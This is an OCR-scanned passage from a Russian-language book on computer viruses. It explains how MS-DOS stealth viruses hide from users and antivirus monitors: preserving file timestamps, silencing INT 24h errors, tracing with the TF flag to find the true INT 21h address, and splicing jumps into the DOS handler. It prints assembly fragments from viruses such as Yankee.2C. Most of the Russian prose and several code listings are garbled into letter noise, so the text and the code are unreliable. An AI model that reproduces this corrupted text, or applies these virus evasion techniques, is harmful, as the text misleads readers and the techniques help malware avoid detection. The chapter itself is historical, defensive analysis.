, i e j ib i  B 0 3 M 0 / K H 0 C T e ii ,  A O C T y iiH b L X  b  c T a n / ta p T H O M  p e a c H M e  n p o u e c c o p o B  

Intel. A btop  B H p y c a ,  n o j ib 3 y a c b  o c o S e i iH o c r a M H  3 a m n m e H H o r o  p e a a i -  

M a  ( p e n b  o  He.M  n o f t a e T  b  H a u ie f t  K H H r e  a a j b i u e  -  b  T J ia B e , n o c B a m e H -  

h o h  W in d o w s - B i i p y c a M ) ,  c o a / ia / i  £ B a  « n a p a j u ie j i b H b ix  n p 0 C T p a H C T B a » :  

b  0 f lH 0 M  « > k h ji»  B H p y c ,  a  b  a p y r o M  -  o c T a j ib H b ie  n p o r p a M M b i  MS-DOS 
( b  t o m  H H C J ie  h  a H T H B H p v c b i) .  K c n a c T b K ) ,  PM.Wanderer OKasaJica H e  

c j i i i u i k o m  n p H c n o c o 6 j ie H H b iM  k  T H m iH H b iM  n p o r p a M M H O - a n n a p a r a b iM  

KOHc ĵnrypaunHM, Hciiojib3ye.wbiM 6 o .T b u iH H C T B O M  n 0 .T b 3 0 B a T e . ie i i .  JXa  h  

H e  c o o H p a j i c a  a B T o p  B b in y c K a T b  c b o h  B i i p y c  b  « 6 o j i b i i i o f i  c .BeT» . IIoTpace- 
H H e  H c n b r r a J i i i  J iH i i i b  B H p y c o j i o r H ,  H 3 y H a B i i iH e  s t o t  y H H K a / ib H b i i i  o o p a 3 e u  

« 3 J ie K T p 0 H H 0 H  (|)a yH b i> .

T e M  He M eHee h  s t o t  Biipyc He n o cTa B H /i nepe/i B H p y c o Jio ra M H  Hepa3pe- 
u ih m o h  3aaaH H . KaK mix 3Toro B H p y c a , T a K  h 2Uia Bcex o c Ta jib H b ix  « h c b h ? ih - 

m o k »  B H p y c o .T o r a  B c e r ja  c  y c n e x o M  p a 3 p a 6 a Tb iB a jin  M o m H b ie  h  HaaeacHbie 

a n ro p iiT M b i, o n p o B e p ra io iu iie  H 3 b icK a H iia  B iip y c o m ic a T e jie i i.  BnponeM, 
ecjiH  p a c c M O T p e T b  n p o 6 ;ie M y  c to m k h  3 p e H H a  3 flp a B o ro  CM H CJia, t o  H e - 

TpyflHO n p H H T H  K  BblBOfly, MTO a H TH B Iip y C H b ie  H 3bICKaH Hfl B 3 T0 H  OOJiaCTH 
x o t h  H H T e p e c iib i 11 yBJieK aTe.-ibH bi, h o  0flH 0 B p e M e H H 0  11 M aJioaicrya/ibH hi, 

B e ^b  S te a lth -M e x a H H 3 M b i n o  o n p e a e .a e iiH io  p a 6 o T a io T  JiH iiib  b  « r p a 3 H o i i»  

( t o  e c T b  b  yace 3ap a>K e nH 0H )  CHCTeM e! A s t o  s n a iH T ,  m to  Bee x i iT p o M y a p o e  

M H o ro o 6 p a 3 iie  M a c K H p y io m n x  B H p y c H u x  a n ro p H T M O B  Jie n co  o n p o B e p ra - 

e Tc a  H c n 0 Jib 3 0 B a H iie M  o n e H b  n p o c T o r o  p e u e irra : H e o 6 x o iiiiM O  3 a n y c K a Tb  

a H T H B H p y c , 3 a rp y 3 H B iu H C b  c H o c iiT e J ia  (a h c k c t w ,  C D -z iH C K a , a p y r o r o  b h h -  

n e c Te p a  h  t .  n . )  c aaae/iow o « m h c t o h »  o n e p a im o H H o ii  c h c tc m o ii!

T e M  H e  M e H ee riocK O Jibfcy Te M a  6 o p b 6 b i c o  S te a l t h -T e x H o ;io r n a M H  ;ie f l-  

CTBHTe.TbHO O HCHb IIH Te p e C H a  H H OyM H Te/IbH a, TO Bee ace paccM OTpiiM  

n o a p o 6 H e e  H aii6o.>iee M acTO H c n o ;ib 3 y io im ie c a  3Jie.\ieHTbi 3 t o h  t c x h o j i o -  

n m  h  c n o c o 6 b i n p o T H B o a e iic T B H a  h m . T e M  6 o ;ie e  m to  H e K O T o p u e  H3 h h x  

m iip o K O  iip iiM e n H fO TC M  h  b  s n o x v  W in d o w s -B H p y c o B .

3 .7 .1 .  «n c n x o jio r iiH e c K a H » HeBMflMMOCTb

B nepByio OHepeflb Biipycbi CTapaioTCa, kohcmho >Ke. cKpbiBaTbca ot nojib- 
30BaTejia. CymecTByeT paa npocTbix npneMOB, nanpaBJiemibix Ha to,
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h t o 6 m  pa6oTa  nporpaM M , 3apaacem ib ix  B iipycaM M, He OTJiiinajiacb (n o  

K p a m e H  M epe, B H eu m e) o t  p a6oTb i «3 a o p o B b ix »  nporpaM M . H x  m o t v t  

iicno.TbaoBaTb ^aace nepesH /ienTiib ie  «3/ i0Bpenb i».

B o-n epB b ix , B iip ycb i c.TapatoTca coxpanaTb iien3M ennbiM H ziaTy h  Bpe
Ma co3flaHHH 3apa>fcaeMbix (JjaifJioB. /JeftcTBHTejibHO, npn npocMOTpe ica- 
Ta.ToroB b  Norton Com m ander’e h j ih  npn noMomu KOMan/ibi « D I R »  c|)aH- 
j ib i c «ceroflHHiuHeH» aaToii r ioc jiez iH ero  aocTyna BbiziejuiioTca ^OBOJibHO 

pe3Ko, hto  MoaceT Bbi3BaTb HeaoyMeHne aaace y  He oneHb BHHMaTejibHoro 

nojibsoBaTejia. lloaTOMy «rpaMOTHO» HanHcaHHbie BHpycbinepea OTKpw- 
THeM 3apa»caeMoro cfjaftjia onpeflejiaioT flaTy h BpeMa ero co3flaHHH npn  

noMomu cf)VHKU,HH 57h, a nocjie 3aicpbrraa TaKHM ace 06pa30M BoccraH aB- 

jiHBaioT rrpeacHee 3na'ieHHe.
B o-B T opb ix , BH pycbi CTapaioToa o 6 p a 6 aTbiBaTb o ih h o k h  BBOfla-BbiBO- 

zia. B CTapbix c ra T b a x  i i  KHHrax (KOHua 1 9 8 0 -x  ro/ ioB ) HepeaKO mo>kho 

6 bi;iO BCTpeTHTb npHMepHO BOT T3K\TO XapaKTepHCTHKV KaKOrO-HIl6 yA b  

B iip yca :

...npn n o n b iT K e  s a p a x e H u n  s tu m  B u p y c o M  (p a tin a , p a 3 M e m e H H o ro

Ha3aiuuiueHHoiioT3anuci4AucKeTe, Ha stcpan BbiAaercfi coo6m eHne
«  W r ite  p r o t e c t  e r r o r  -  A  (A b o r t ) ,  R  (R e t r y ) ,  I ( I g n o r e ) ,  F ( F a i l ) » . . .

I Ip o i ic x o a H T  3 to  noTOMy, h to  3a Bbino.THeHneM (JjaiijioBbix onepa iiH H  

b  M S - D O S  «H a6 .fiK )flaeT » cnen H ajibH aa KO H Tpo.iM pyiom aa n oacncTeM a, 

b  c iiyn a e  B03HHKH0BeHHa o iu h 6 k h  Bbi3biBaiom aa npepbiBaHHe c  H0Mep0M 

24h. I I o  yMOJinaHHio o6pa6oTH H K s t o t o  n pep bm aH iia  oToopaacaeT  b oc - 

n po ii3B efleH H oe Bbirne c o o 6 m eH iie  h  jk a c t  H aacan ia  Ha o/ y iy  113 n p en jio - 

>KeHHbIX KJiaBHlII.

Ecjih n0Jib30BaTCJib Bbi6HpaeT « A » ,  t o  nporpaMMa, Bbi3BaBiuaa s t v  

onin6Ky. « y 6iiBaeTca» caMOH onepamioHHon ch c tcm o h . 06pa6oTHHK h h - 

cjjopMiipyeT onepauHOHHyio ciicreMy 0 TaKOM pemeHim riojib30BaTejia, 

noMemaa b perHCTp A L  3HaHeHiie 2.
E c / m  n 0 J ib 3 0 B a T e , rib  B b io iip a er  « R » ,  t o  on ep am ioH H aa  C H CTe .M a  nbi- 

T a e T c a  y n p a M o  noBTopHTb c i iC T e M H y io  o n e p a im r o ,  B b i3 B a B iu y io  o u in o K y .  

T a K o f i  « n o c T y n o K »  B n o j iH e  J io r a n e H ,  B e a b  n o j ib s o B a T e .n b  nacTO H M e e T  

B 0 3 M 0 5 K H 0 C T b  ycTpaHHTb h c to h h h k  o iu ii6 k h  ( H a n p i iM e p ,  Iiept/IBHHyTb 

3 a m i iT H o e  <s0K0iiieHK0»  n a  /nicKcre). B perncTp A L  n o M e m a e T c a  3 n a n e -  

HHe 1.

Ecjih nojib3()BaTejib Bbi6npaeT « I » , to oriepaiiiiomiaa CHCTeMa iirnopH- 
pyeT omn6KV i i nosBpainacT ynpaBJiemie nporpaMMe, ne Hinf)opMiipya ee 
o HeniTaTHon cniyaiiHH. PerncTp A L  npn stom  co/iepacirr koa 0.
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HaKoneu, ecJiH no;ib30BaTejib  Bbi6 HpaeT «F», t o  oriepanH O H iia ji cucTe- 

Ma B03Bpam aeT ynpaBJieHHe nporpaM M e, BucTaB iiB  6 h t  Carry b p e ra cT p e  

(|)jiaroB, h  3anoM HHaeT b c b o h x  BHyTpeHHHx nepeM eH H bix hhc/ioboh  Koa , 

noacH H iom nH  npiiH H H y s t o h  o ii ih 6 kh. n p o rp aM M a  MoaceT «3 a n p ocH T b » 

s t o t  K oa  (a Bcero h x  HecKOJibKO aecHTKOB) npn n oM om n  tJ>yHKniiii 59h 
h  caM0CT05iTeJibH0 npHHaTb pem eH H e o  c b o iix  zta jibH eiiiiiH x ^ c h c tb h h x . 

06p a6 oTH H K  xce jiaK om iH H o B03BpamaeT b  p e ra c T p e  A L  3HaneHHe 3.
I lp 0(|;)eccvi0HajibH0 HaimcaHHbie nporpaMMbi coaepxcaT co6cTBeHHhie 

oopa6oTHHKH npepbraaHHH 24h. HanpiiMep, Norton Commander npn B03- 
HIIKHOBeHHII «KpHTHlieCKOH>> OIIIHOKH BMeCTO npOUHTHpOBaHHOrO BblUie 

6;ieaHO-ceporo coo6memia Ha 'lepnoM (f>0He BbiBOflHT Ha SKpaH KpaciiByio 

KpacHyio paMKy, npeaJiaraa BbiopaTb ra n  peaKiyiH nporpaMMbi b peacHMe 

Memo... hto, b 06meM-T0, a6c0Jii0TH0 He MeHfleT cvth  nponcxoanmnx npn  
3tom npoqeccoB.

IloMeMy 6bi b tohhoctii TaK ace ne nocTynaTb h Bnpycy? 06m hho BHpy
cbi KpaTK0BpeMeHH0 nepexBaTbiBaioT npepbiBaraie 24h nepea nonbiTKoii 
oTKpHTira (c  ycTaHOBJieHHWM npH3H aKOM paapemeiiHH 3anHcn: ko/i 1 h jih  
2 b peracTpe A L )  3apa>KaeMoro 4’aftjia. 06pa6oTHHK SToro npepbiBaraui b 
Blipyce BMTjIHflHT npHMHTHBHo:

Int24:
mov al, 3
iret

Ecjih npoHcxoflHT OHiHOKa, to  4>yHKHHa-«Hey/ia>iHHLia» B03BpamaeT 

BHpycy ynpaBJienne c ycTanoBJiemiMM b e m m m y  6htom Carry, hto cjiy- 
jkht ra Hero npe;iocTepe«:eHiieM: npoaojDKeHne nonHTKii 3apaaceHna 

3Toro (fjaiijia Henejiec006pa3H0. Biipyc « 6«k h t  Ha3a,i im tk3mh», a nojib- 
30BaTejib TaK Hiinero h He 3aMeyaeT.

CjieflyeT TaioKe ynoMHHVTb hhcto ncnxoJioniHecKHe «TpioKH», koto- 
pue xoth h  npiiMeHjnoTCH OHeHb Henacxo, ho ;j0B0JibH0 3a6aBHbi. C.BH3a- 
Hbl OHH c «MaCKHp0BK0H> VBeJIIIHeHHfl ZlJIHHbl (Jjaiijia H paCCHHTaHbl Ha 
coBceM y>K HeBHHMaTejibiioro n0Jib30BaTeJia. HanpHMep, HHor/ia mo>kho 
ii He 3aMeTHTb yBejiH’ieHHe a/mHbi, npoH3ome/tmee Ha «Kpyrjiy io» Bejra- 
HHHy. TaK^ce ncnxojioniHecKH HenpocTO o6paTHTb BHHMaime He Ha Kap- 
aHHa.’ibHoe H3MeHeHHe, ho Ha «nepenyTam m y» mt(j)p.

PRGGRAMO EXE 12 345 17 09 01 ; "Sfloposafi" noorpawta
PRGGRAM1 EXE 14 345 17 09 01 , nporpaMMa 'nonpaewtacb" na 2000 fefrroB
PR0GRAM2 EXE 14 325 17.OS u1 , "HepenyTanncb" Uki$pbi

3 $a&na 51 015 oa&Tos

PasyMeeToi, nporpaMMa-aiiTHBnpyc Bcex BbimeoiiHcanHbix yxrnupe- 
iiHH npocTo tie 3aMeTHT. H e na nee 3to paccmiTano.
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3 . 7 . 2 .  l lp s iM o e  o 6 p a m e t w e  k  c u c r e M e

H'raK, a n  a aocTiiaceHHa «nojm oii h OKoimaTejibHoii no6ezibi» h BHpycbi, 
H ailTHBHpyCH CTpeMHTCH onpe&ejIHTb «MCTHHHbIH» aflpeC o6pa6oTHIIKa 

M S -D O S , pacrioJioJKenHbiH r^e-To b  x/ipe cHcreMH. 06pam aacb Hanpa- 
Mvio no :-)TOMy a;ipecy, mojkho He TcuibKO 6biTb yBepeHHbiM b  a/ieKBaTHOM 

BbinoJiHCHHH co6cTBeHHbix ajiropiiTMOB, ho h npenaTCTBOBaTb paooTe aJi- 
TOpHTMOB «npOTHBHHKa». BoHCTHHV, «KTO nepBUM BCTajI. Toro H TanKH»!

Ilpeacae Bcero Heo6xoflHMO onpeflejMTbca, hto CHHTaTb «ncTHHHbiM>> 

a/ipecoM  oGpaooTiHKa npepbiBaHHa 21h.
flapo  M S -D O S  paHHHX Bepcnii Bcerfla pacnojiarajiocb b hhjkhhx aape- 

cax naMara. HanHHasi c Bepcmi 4.0 noaBHJiacb ajibTepHaTiiBa: noMemaa 

b KOHtffflrypauHOHHbin cfoaiiji C O N F IG .S Y S  cTpoMKy D O S = H IG H ,  
U M B , mo>kho 6h.to pa3MemaTb sto aapo  rae-To b oojiacTax H M A  h 

U M B . Ho ii b 3T0M c j iynae b hhjkhiix aapecax najviara Bee paBHO ocTa- 
BaJica «nepexoflHHK» -  Henojibmofl (^paraeHT, «nepecbiJiaiomnii» ynpaB
JieHHe Ha 0CH0BH0e a;ipo:

nop

nop
c a l l  ChecK_A20 , npuBepKa c ia iy c a  aapecHOCi ,nnhmh

j i i ip  c s : dw ord p t r  DOS ; Dspexoa Ha dAPO

E c jih  x e  n0Jib30BaTeJib 0TKa3bm ajica o t  3arpy3KH a a p a  b  cTapm n e  aa p e- 

ca 0 3 Y ,  t o  «n ep ex o flH H K » Bee paBHO iipucyTCTBOBaji b h ii jk h h x  aapecax , 

TOJibKo HMeji o h  y n p o m en  hm h bh;i h  c o c to h ji  B cero  H3 o k h o h  KOManaw 

«J M P>. B o 6 o h x  c j iy n a jix  a flp ec  b iio3H h h h  0:84h Ta6/iHUbi BeKTopoB n p e - 

puBaHHH cpa3y  n o c jie  3arpy3K ii « h h c t o h »  CHCTeMbi yKa3biBaji h m chh o  Ha 

3T0T «n epeX O flH H K » H JIHUIb nOTOM H3MeHflJICH B pe3y.!IbTaTe MHOrO'MC- 

jieH H bix nepexBaTOB n p ep b iB a m ia  co  CTopoHbi pe3H/ieHTHbix apa iiB epoB  h 

cepBHCHbix j t h j o i t .  T aK oe  n o jio a cem ie  a e ji a o  c h x  n o p  o cT aeT ca  BepHbiM 

aaace una Bepcan MS-DOS, 3anycKaiomnxoi b D O S-cecciixx  coBpeMeH- 
Hbix onepamioHHbix ch c tcm  Windows 9X h  NT.

CaM ace «ochobhoh» o6pa6oTHHK, pacriojiaraioinHHca b aape M S -D O S ,  
Bbirjia/iHT npiiMepHo TaK:

CL I

CMP A H ,73h

JA MO ; Ha oSpaooTKy " h o b s x ” $yHKiiH& (Dos > 7 X)
CMP AH,33h

J3 M1 , Ha ofjpaSoTxy " p s h h h x " (JsyHKunS (Dos ^ 2 .0 )

J I  M2 i Ha ofipaooTKy cgpbhchoK  pyn> .um  33h
Ct^P AH,6«h

JA M3 , Ha oOpafioTt.y "facu inpenH kix ' .S t1- ; , 1;'' (Dos > 4  0 )
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JZ M4 ; Ha odpaCoTKy cepmcHoft $yHKuMM 64h
CMP AH, 51 ii
JZ M5 ; Ha o 6 p a 6 o T K y  cepBsiCHOii tyHKUHH 51h
CMP AH, 50h
JZ M6 ; Ha o o p a 6 o T K y  cepBM CHoii ipyHKuUK 50h
CMP AH,62 b
JZ M7 , Hd Ogpac-OTKV C6pBi1CH0l* (fyHKUHH 62h

B h s h o ,  m to  b  p e s y /ib Ta x e  M iio ro M H C jie H H b ix  n p o B e p o K  K o a a  ( j jy H K m n i 

o 6 p a 6 o T M H K  p a c T e K a e T c a  H a  p a a  «p y K a B O B » .  B  a a Jib n e ifflie M  K a a ca H H  m  

3 t h x  « p y K 3 B O B »  Ta io K e  p a 3 a e Jia e TC H  H a  p a n  «p y H e iiK O B » ,  h  n o a o 6 H o e  ;te - 

JieH H e n p o flo a > K a e TC H  so T e x  n o p , n o K a  y n p a B J ie iw e  H e  6 y a e T  n e p e a a n o  

H a n p o i ie a y p y ,  p e a ;iH 3 y K > m y io  K o m c p e T H y io  c e p B H C H y io  (J jv h k h h k ).  Ta io K e  

n 0 Jie 3 H 0  O O p a T H T b  B H H M a H Iie , MTO 60J Ib m iIH C T B 0 C epB H C H b lX  4>yH K U H H , 

n c n o .ib 3 y e .\ fb ix  B u p y c a M H  ( t o  e c Tb  4 > v h k h iih  c  K o a a M ii o t  34h h  o o jib in e ) ,  

o 6 p a 6 a T b re a io TC H  b  o ^ h o m  o 6 m e M  « p y lJeHKe>>.

T a n  m to a ce  C H H T a T b  «h c t h h h u m »  a a p e c o M  o 6 p a 6 o T M H K a  C e p B H C H o i i  

4>yHKUHii: a / ip e c  -«n epexoaH H K a», a a p ec  nepB oft KOManaw o& m ero  o6pa- 

ooTMHKa (b  H a rn e M  n p H M e p e  s t o  KOMaHaa «CLI»), a a p ec  Hanaira c o o tb c t -  

C TB yiom ero  «p y H e iiK a »  h jih  aaace a apec  (JjparMeHTa Koaa, H enocpeacTB en - 

h o  o 6 p a 6 a T b iB a io m e r o  3 T y  ( J j y H ia m io ?

P a s y M e e T C H ,  e c j iH  3 H a T b  s H a n e n H H  B c e x  arax a a p e c o B  i i  n e p e a a B a T b  

ynpaBJieHHe H e n o c p e a c T B e m io  H a  h h x ,  t o  p e a y j ib T a T  p a 6 o T M  CepBHCHoii 

cfjyHKHHH bo  B c e x  c j i y M a a x  6 v a e T  o a H H a K O B M M . 3HaMHT, B e e  s t h  a a p e c a  -  

« n p a B iu ib H b r e » .  Ho n p e m iy m e c T B O  n o a y H H T  T a  nporpaMMa, K O T o p a n  06- 
p a r a T C H  b  6 o a e e  « r a y 6 o K y io »  T O H K y.

T a K  K a K  >Ke H C K a T b  s t h  a a p e c a ?

3.7J2.1. Memod npedonpedejienubix adpecoe
MoacHo n p o c T o  3HaTb 3HaM em ia s th x  a apecoB  am  p a 3 H b ix  BepcHH o n e- 

p am io H H o ii cucTeM bi i i  oopam aT bca  k  hhm , Bbi6HpaH 113 3apaHee 3aroxoB - 

JieHHOH TafijIHMKH (cm . Ta6 jl. 3.1).
Ho n p o r p e c c  H e  c t o h t  H a  M e c T e ,  11 J i io 6 b ie  a a H H b ie  n o a o S j io r o  c o p T a  

H e M H H y e M o  y c T a p e B a io T .  T a K ,  H a n p H M e p ,  B i i p y c  Terror. 1085 « 3 H a j i»  h  

n c n o ; ib 3 0 B a j i  T O J ib K O  n o c / i e a in i e  T p n  C T p o H K H  s t o i I  T a o ju iM K H  h  a a a c e  H e  

n p e a n o j i a r a ; i ,  m to  n o H B H T C H  a p y r n e ,  o o j i e e  c o B e p m e H H b ie  B e p c H H  o n e p a -  

U h o h h o h  C H C T e M b i. B p e 3 y v ib T a T e  H C T o p n a  e r o  O K O H H H J ia c b  B M e c T e  c  no- 
HB.neHHeM MS-DOS v4.oi.

J[ji9 i K oppeK TH oro  ncn0Jib30BaHHa s t o t o  M eToaa n aao  6 biTb vB epen - 

HblM, MTO TeKVm eH BepCHH OIiepaHHOHHOH CHCTeMbi COOTBeTCTByeT Ka- 

Kaa-.nn6 o cTpoKa b Tao.'iHMKe. E c jiii >fce s t o  He TaK, t o  npnxoanxoi h o
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n0Jib30BaTb apyrne cnoco6bi noHCKa «HCTHHHoro» aapeca o6pa6oTHHKa 
npeptiBaHHH 21h.

TaGnvma 3.1. A/xpeca x a p a ic re p H b ix  ynacTKO B a im  p a 3 H U x  B e p c n i i

MS-DOS

Bepcufl M S -D O S «n e p e -
XOAHMKD 06pa6oTVMK

«OCHOBHa$l»
BeTBb

7.X 00C9h:0FB2h FF03h:41E9h FF03h:420Ah

6.X, dos=high, device=himem.sys 0123h:109Eh FDC8h:40F8h FDC8h:411 Bh

6.X, dos=high 0123h:109Eh 03ACh:40F8h 03ACh:411 Bh

6.X - 002Ah:40F8h 002Ah:411Bh

5.X, dos=high, device=himem.sys 0123h:109Eh FDC8h:40Ebh FDC8h:410Eh

5.X, dos=high 0123h:109Eh 03ACh:40F8h 03Ach:41 IBh

5.X - 002Ah:40Ebh 002Ah:410Eh

3.30 0070h:05DCh 0294h:1460h 0294h:1480h

3.20 0070h:17D0h - -

3.10 0070h:0D43h - -

3.7.22. Memod mpaccupoeicu npepbieauux
3 t o t  K p a c .H B b iH  h  B a> K H b iH  M e T o z i o c u o B a H  Ha H c r i0 ; iL .3 0 B a H H H  Mexa- 

H H 3 M a  « o T J ia a o r a o r o »  n p e p b iB a m i f l .  i l e j i o  b  t o m ,  h t o  e c J M  b  p e r a c r p e  

c f u ia r o B  n p o u e c c o p a  y c T a H O B J ie H  b  e z u m n n y  6 h t  T F  ( n o c b M o i i ) ,  t o  nocjie 

Btino.THeHHH KajK^oit onepeOTofi KOMaHaw o y / ie T  Bo r-to y jfC A aT bC H  npepbi- 
B a H H e  c  H O M e p o M  1 ( a a p e c  e r o  o 6 p a o o T H H K a  p a c n o ; ia r a e T C H  b  T a 6 ; m n e  

B e K T o p o B  n p e p b iB a H i i i i  b  n o 3 H m « i  0:4). IIp n  B b i3 0 B e  s t o t o  n p e p H B a H H H  

6 h t  T F  c o p a c H B a e T c j i ,  h u p o n e / i y p a  o 6 p a 6 o T K H  n p e p b iB a m m  p a 6 o T a e T  

B  « 0 6 b IH H 0 M »  pe^ C H M e . IloCJie B b in O .T H e H H H  K O M a H f lU  « I R E T »  H 3  C T e K a  

H3B.>ieKaeTCH B M e c T e  c  a a p e c o M  O H e p e f lH O H  B b r a o j iH e H H o i i  K O M a H f lb i c T a -  

poe 3 H a n e H H e  p e r n c T p a  ( f j j ia r o B  (c  ycTauoBJieHHHM 6 h t o m  T F ),  h Tpaccn- 
p o B K a  n p o f lo j m a e x c a .  3 t o t  M e x a H H 3 M  o n e H b  v / io 6 c h  a j i h  o p r a H im n H H  

«nom aroBoro» B b in o j iH e m iH  n p o r p a M M  h n c n o ; t b 3 y e T C f l,  H a n p H M e p ,  b o t -  

.'iaflHHKax.
Ha o 6 p a 6 o T H H K  « o T .n a ; jo im o r o »  n p e p H B a H H H  M o a c n o  B o :s ;io> K H T b  3 a -  

A a n y  0 TCJie> KH Ba} iH M  a / ip e c a  T e K y m e n  H c n o j in s ie M O H  K O M a n / iu .  B o t  K a K  

3n a M e H H T b iH  B H p y c  Yankee.2C (M2C-2885) n c n o ; ib 3 0 B a J i  b o 3m o > k h o c t h  

3 T o r o  MexaHH3Ma a j w  n o n c K a  « n c T H H H o r o »  a / ip e c a  o o p a 6 o T H H K a  n p e p b i-  

B3HHH 21h.
Illar 1. Ciianajia Biipyc nepexBaTbmaji «0T.n:afl0HH0e»- npepbiBaHHe.

mov a x , 3501 
i n t  2 'h
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mov si, bx 
mov di, es

mov ax,2501h
mov dx, offset IntOI ; CMeiaeHiie coficTeeHHoro oOpaCoTmiKa 
int 21h

LUar 2. 3axeM o h  «B3B0;ihji>> 6 h t  TF b p e r i i c T p e  (JwiaroB:

pushf ; CoxpaHMTb $jiarn b cTst®
pop ax ; Burpyawb mx b  AX
or ax, 100h ; ycraHawmBaeM s ax 6ht TF

I lla r  3. HaKoneq, o h  3 a » 0 c n j j  b CTeK cjwiaru, c .M e m e iu ie  i i  c e ra eH T  Te- 
Kymero 3 H a y e H H H  a a p e c a  o o p a 6 o r H H K a  n p e p b iB a H H H  21h i i  B b i3 U B a .n  ko- 
MaHay «IRE T». H o s t o i i  KOManzie HSBJieKajiHCb coxpaHeHHwe b CTeKe 

3 H a H e H H H , h  y n p a B J ie H H e  n e p e a a B a / io c b  H a  V K a 3 a H H U H  a a p e c .

push ax ; CoxpaHMTb o/iarw c Shtom TF=1 b CTe<e
push os ; C9TM9HT tomkh nepexozsa
push ax ; CMemenne tomkm nepexona

Ho n o c K O .T b K v  6 h t  TF 6mji T e n e p b  y c T a n o B J ie i i ,  t o  n a H H H a n  c  a x o r o  

M O M e H T a  H c n o j iH e H H e  nporpaMMbi p e r y j i a p H o  n p e p u B a j i o c b  c  n e p e a a n e i i  

y n p a B J ie H H H  H a  o 6 p a 6 o T M H K  « o T / ia a o > iH o r o »  n p e p b iB a H H H .  A b o t  icaK bm- 

TJinntJl C a M  3 T 0 T  o 6 p a 6 o T H H K :

iret

B CTeKe:

ss: [tip+6] - 0/iarn
ss:[Dp+4] - CS TeKyneii wcnoiwqeKCS komshaw 
ss [Pp+2] - IP teKyajeii ncn0JwsieM0& KOMaHfiw

IntOI:
push bp
. ss:[bp] - 3HaMenne pernoTpa BP 
mov bp,sp

cmp word ptr [bp+4],300h 
j b Found 
pop bp 
i ret

CS b CTeKe < 300h ??? 
f la  -  f io w m i f lo  flf lp a  

H e t -  T p a c o H p o e a T b  aar;

Found:
push bx
mov bn, [bp+2]
mov cs: Save_IP,bx
mov bx, [bp+4]
nov cs: Save„GS,ox
pop bx

B:3STb M3 CTetra  CS

B3BTb M3 CTeKa IP

na w ord  p "  [b P +6],O FEFF Bi-IT TF ■ =
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p o p  bp 

i r e t OKOHMatenbHWH BbiXOfl M3 06p a 6dTKH

AHa;m3npyfl BbimenpHBeaeniiwH (fiparMeHT, hccjio>kho npniiTH k bh -  
Bo/iy, hto Bupyc Yankee.2C ooHapy^KHBaji b jiyniueM cjiynae jimiib aapec 
<nepexoflHHKa», pacrioJiaraiomerocH b hhjkhhx azipecax naMHTH. /J,jih 

toto  hto6w  npoHHKHyrb b napo i'Jiy6>Ke, o6pa6oTHnic «oTjiaaoHHoro» 
npepbiBaHHH flOJiaceH 6biTb 6o;iee « HUTejiJieKTyaJibiiMM >. BoJiee no3flHHe 

BHpycw, HanpHMep PM.Wanderer, nbrrajmcb auajiH3HpoBaTb cTpyKTy- 
py «nepexoaHHKa» -  HCKajw r/je-TO b ero «OKpecTHOCTHX» tohkh Bxo/ta 

b KOMan/iy «JMP» h nepexo/iHJiH Ha yKa3aHHbiii b Heii aapec. BepoHTHo, 
B03M0JKCH H Cllje OOJiee «npoaBHHVTbm» ajII'OpHTM, KOTOpblH IipOHHKajI 
6bi eme aa.Tbiue h aoxoflHJi 6bi n o  «pa3BiuioK» cTaH^apTHoro o6pa6oTHH- 
Ka npepbiBaHHH 21h.

M uor/ia n on cK  « h c t h h h o t o »  a a p eca  o 6 p a 6 oTHHKa npepbiBaHHH MeTO- 

/IOM TpaccHpoBKH Ha3biBaioT KopoTKHM  c.tobom  *mynHejiuHzn-. C jie a y e T  

T3K>Ke OTMeTHTb, HTO BHpVCOnilCaTejIH HepeJIKO BbHIOJIHHIOT -STVH H e- 

JiHnrj- He TO.TbKO n n x  t o t o ,  h t o o h  HanpHM yio oopam aTbcn  k ch c tcm h o - 

M y c ep B iic y  MS-DOS, h o  h  h to 6 m ocym ecrB H T b  aoBOJibHO H eo 6 biHHbiH 

c n o c o o  n epexB aTa s t o t o  npepbiBaHHH. C n o c o 6  0 CH0 BaH He Ha H3MeHeHHH 

3HaneHHH aa p eca  b T a 6 j i n n e  BeKTopoB npepbiBaHHH, h o  Ha < -B C T p a n B a H H H »  

b CTaHflapTHbiii o 6 p a 6 o T H H K  npepbiBaHHH 2 1h  KOMaHflbi n e p e x o ^ a  Ha c o 6 -  

CTBeHHMH KOfl. HanpHMep, BOT KaK BbirjIH/IHT 3T0T npHeM « b  Hcno.THe- 

h h h »  B iip yca  Kseaia.3599: b m cc to  h b v x  KOMaH/i «NOP» (H H TepecH o, 

pa3pa6oTHHKH H3 ( j iH p M b i M ic r o s o ft  «ri03a6biJM>> h x  t v t  c n e n n a j ib n o ? )  

BH pyc BCTaB/iaeT cb o io  KOMaH^V Bbi30Ba H ecT aH a ap rao ro  npepbiBaHHH

Pa3yMeeTca, b i io 3 h u h h  B e icro p a  stoto npepbreamiH pacnojiaraeTcn 

a a p e c  BHpycHoro o 6 p a 6 o T H H K a , K O T o p b iii npn o6pameHHHX k  ce p B iic a M  

MS-DOS c o  c T o p o H b i npiiKJia^Hbix nporpaMM c n e p B a  ae/raeT cB o e  «nep- 
H o e  z ie jio »  h  JiH iiib  n 0 T 0 M  Bo.iBpamaeT y n p a B Jie H H e  C Ta n / ia p TH O M y  o 6 p a - 

S o T H H K y  b T O H K y  c a/tpecoM 0C9h:0FB4h.
3Ta aoBOJibHO cjio5KiiaH TexHojioniH nepexBaTa n p e p b iB a H H H  H a n o M H - 

HaeT 4cpam«BaHHe» abvx 00pa6 0THiiK0B -  BHpycHoro h cTanaapTHoro -  
h n o T O M y  hocht HaHMeHOBaHHe < cru ia u cu H z» (a in v i .  t o  s p lice  -  criJieiaTb, 

cpamHBaTb). OHa xapaKTepHa a.™ bmcokocjiokhmx BHpycoB cepeaHHbi 
90-x rofloB XX BeKa. K). Kochbhob b cTaTbe, ony6.THKOBaHHOH b acypHajie

OBlh.

C9:0FB2 GOBI 
C9:0FB4 E8CE00 call 
C9:0FB7 2EFF2E820F jmp

mt B1 
Cfleck_A2Q
dwaro p t r  CS:[0F82

< •  n e p e x s a x  ynpaBiieHMS BMpycow
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«M o h iito p », npe/iJio>KH/i mcto/i 6o p b 6bi c o  « c n j ia i ic H H r o M »  n p n  i io m o iu h  

pe3HfleHTHoii nporpaMMW-«6jioKHpoBmnKa» [19]:

/lepeb/M KOMnoHeHT[aHTHBMpycHoro MOHMTopa -  K. K.] BCTpaMBaerca 
b aopoflOC, a BTopofi npocro nepexBarbiBaer uenoHKy21-ro npepbi- 
BaHHB. Korna nporpaMMa Bb/nosiHfieT HHcrpymmo IN T21 h, ynpasne- 
